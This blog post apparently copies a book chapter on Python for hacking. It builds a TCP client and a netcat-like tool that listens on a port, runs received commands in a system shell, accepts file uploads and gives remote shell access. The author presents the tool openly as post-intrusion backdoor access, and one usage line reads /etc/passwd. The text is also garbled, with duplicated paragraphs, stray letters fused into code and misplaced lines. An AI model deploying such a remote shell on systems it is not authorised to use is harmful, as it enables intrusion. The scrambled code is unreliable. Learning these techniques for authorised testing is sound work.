Python for Hacking and Pen-testing
The network is and always will be the sexiest arena for a hacker. An attacker can do almost anything with simple network access, such as scan for hosts, inject packets, sniff data, remotely exploit hosts, and much more. But if you are an attacker who has worked your way into the deepest depths of an enterprise target, you may find yourself in a bit of a conundrum: you have no tools to execute network attacks. No netcat. No Wireshark. No compiler and no means to install one. However, you might be surprised to find that in many cases, you’ll find a Python install, and so that is where we will begin.
TCP client
There have been countless times during penetration tests that I’ve needed to whip up a TCP client to test for services, send garbage data, fuzz, or any number of other tasks. If you are working within the confines of large enterprise environments, you won’t have the luxury of networking tools or compilers, and sometimes you’ll even be missing the absolute basics like the ability to copy/paste or an Internet connection. This is where being able to quickly create a TCP client comes in extremely handy. But enough jabbering—let’s get coding. Here is a simple TCP client.
uclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect the client
v client.connect((target_host,target_port))
# send some data
wclient.send("GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")
# receive some dataxresponse = client.recv(4096)
any input from stdin. If all is well, we ship the data off to the remote target and receive back datavuntil there is no more data to receive. We then wait for further input from the userwand continue sending and receiving data until the user kills the script. The extra line break is attached specifically
to our user input so that our client will be compatible with our command shell. Now we’ll move on and create our primary server loop and a stub function that will handle both our command execution and our full com- mand shell.
Now let’s implement the logic to do file uploads, command execution, and our shell.
There have been countless times during penetration tests that I’ve needed to whip up a TCP client to test for services, send garbage data, fuzz, or any number of other tasks. If you are working within the confines of large enterprise environments, you won’t have the luxury of networking tools or compilers, and sometimes you’ll even be missing the absolute basics like the ability to copy/paste or an Internet connection. This is where being able to quickly create a TCP client comes in extremely handy. But enough jabbering—let’s get coding. Here is a simple TCP client.
import socket
target_host = "www.google.com"
target_port = 80
# create a socket objectuclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect the client
v client.connect((target_host,target_port))
# send some data
wclient.send("GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")
# receive some dataxresponse = client.recv(4096)
print response
We first create a socket object with the AF_INET and SOCK_STREAM param- etersu. The AF_INET parameter is saying we are going to use a standard IPv4 address or hostname, and SOCK_STREAM indicates that this will be a TCPUDP client
We then connect the client to the servervand send it some dataw. The last step is to receive some data back and print out the responsex. This is the simplest form of a TCP client, but the one you will write most often. In the above code snippet, we are making some serious assumptions about sockets that you definitely want to be aware of. The first assumption is that our connection will always succeed, and the second is that the server is always expecting us to send data first (as opposed to servers that expect to send data to you first and await your response). Our third assump- tion is that the server will always send us data back in a timely fashion. We make these assumptions largely for simplicity’s sake. While programmers have varied opinions about how to deal with blocking sockets, exception- handling in sockets, and the like, it’s quite rare for pentesters to build these niceties into the quick-and-dirty tools for recon or exploitation work, so we’ll omit them in this chapter.
Replacing netcat
Netcat is the utility knife of networking, so it’s no surprise that shrewd systems administrators remove it from their systems. On more than one occasion, I’ve run into servers that do not have netcat installed but do have Python. In these cases, it’s useful to create a simple network client and server that you can use to push files, or to have a listener that gives you command-line access. If you’ve broken in through a web application, it is definitely worth dropping a Python callback to give you secondary access without having to first burn one of your trojans or backdoors. Creating a tool like this is also a great Python exercise, so let’s get started.
Netcat is the utility knife of networking, so it’s no surprise that shrewd systems administrators remove it from their systems. On more than one occasion, I’ve run into servers that do not have netcat installed but do have Python. In these cases, it’s useful to create a simple network client and server that you can use to push files, or to have a listener that gives you command-line access. If you’ve broken in through a web application, it is definitely worth dropping a Python callback to give you secondary access without having to first burn one of your trojans or backdoors. Creating a tool like this is also a great Python exercise, so let’s get started.
import sys
import socket
import getopt
import threading
import subprocess
# define some global variables
listen
command
upload
execute
target
upload_destination = ""
port = 0
Here, we are just importing all of our necessary libraries and setting some global variables. No heavy lifting quite yet.= False
= False
= False
= ""
= ""
Now let’s create our main function responsible for handling command- line arguments and calling the rest of our functions.
udef usage():
print "BHP Net Tool"
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:", ¬
["help","listen","execute","target","port","command","upload"]) except getopt.GetoptError as err:
udef usage():
print "BHP Net Tool"
print
print "Usage: bhpnet.py -t target_host -p port"
print "-l --listen - listen on [host]:[port] for ¬
incoming connections"
print "-e --execute=file_to_run - execute the given file upon ¬
receiving a connection"
print "-c --command - initialize a command shell"
print "-u --upload=destination - upon receiving connection upload a ¬
file and write to [destination]"
print
print
print "Examples: "
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# read the commandline optionsv try:opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:", ¬
["help","listen","execute","target","port","command","upload"]) except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = aw
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option"
# are we going to listen or just send data from stdin?
if not listen and len(target) and port > 0:
# read in the buffer from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
buffer = sys.stdin.read()
# send data off
client_sender(buffer)
# we are going to listen and potentially
# upload things, execute commands, and drop a shell back
# depending on our command line options above
if listen:
server_loop()
x
main()
u
We begin by reading in all of the command-line optionsvand setting the necessary variables depending on the options we detect. If any of the command-line parameters don’t match our criteria, we print out useful usage informationu. In the next block of codew, we are trying to mimic netcat to read data from stdin and send it across the network. As noted, if you plan on sending data interactively, you need to send a ctrl-D to bypass the stdin read. The final piecexis where we detect that we are to set up
a listening socket and process further commands (upload a file, execute a command, start a command shell).
Now let’s start putting in the plumbing for some of these features, start- ing with our client code. Add the following code above our main function.
a listening socket and process further commands (upload a file, execute a command, start a command shell).
Now let’s start putting in the plumbing for some of these features, start- ing with our client code. Add the following code above our main function.
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# connect to our target host
client.connect((target,port))
if len(buffer):
client.send(buffer)
# now wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+= data
if recv_len < 4096:
break
print response,
# wait for more input
buffer = raw_input("")
buffer += "\n"
# send it off
client.send(buffer)
except:
print "[*] Exception! Exiting."
# tear down the connection
client.close()
Most of this code should look familiar to you by now. We start by set- ting up our TCP socket object and then testuto see if we have receivedany input from stdin. If all is well, we ship the data off to the remote target and receive back datavuntil there is no more data to receive. We then wait for further input from the userwand continue sending and receiving data until the user kills the script. The extra line break is attached specifically
to our user input so that our client will be compatible with our command shell. Now we’ll move on and create our primary server loop and a stub function that will handle both our command execution and our full com- mand shell.
def server_loop():
global target
# if no target is defined, we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target,port))
while True:
client_socket, addr = server.accept()
# spin off a thread to handle our new client
client_thread = threading.Thread(target=client_handler, ¬
args=(client_socket,))
client_thread.start()
def run_command(command):
# trim the newline
command = command.rstrip()
# run the command and get the output back
try:
output = subprocess.check_output(command,stderr=subprocess. ¬
STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
# send the output back to the client
return output
By now, you’re an old hand at creating TCP servers complete with threading, so I won’t dive in to the server_loop function. The run_commandfunction, however, contains a new library we haven’t covered yet: thesubprocess library. subprocess provides a powerful process-creation interface that gives you a number of ways to start and interact with client programs. In this caseu, we’re simply running whatever command we pass in, run- ning it on the local operating system, and returning the output from the command back to the client that is connected to us. The exception- handling code will catch generic errors and return back a message letting you know that the command failed.Now let’s implement the logic to do file uploads, command execution, and our shell.
def client_handler(client_socket):
global upload
global execute
global command
# check for upload
if len(upload_destination):
# read in all of the bytes and write to our destination
file_buffer = ""
# keep reading data until none is available
server.listen(5)
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
# acknowledge that we wrote the file out
client_socket.send("Successfully saved file to ¬
%s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % ¬
upload_destination)
# check for command execution
if len(execute):
# run the command
output = run_command(execute)
client_socket.send(output)
# now we go into another loop if a command shell was requested
if command:
while True:
# show a simple prompt
client_socket.send(" ")
# now we receive until we see a linefeed ¬
(enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# send back the command output
response = run_command(cmd_buffer)
# send back the response
client_socket.send(response)
Our first chunk of codeuis responsible for determining whether our network tool is set to receive a file when it receives a connection.
Comments
Post a Comment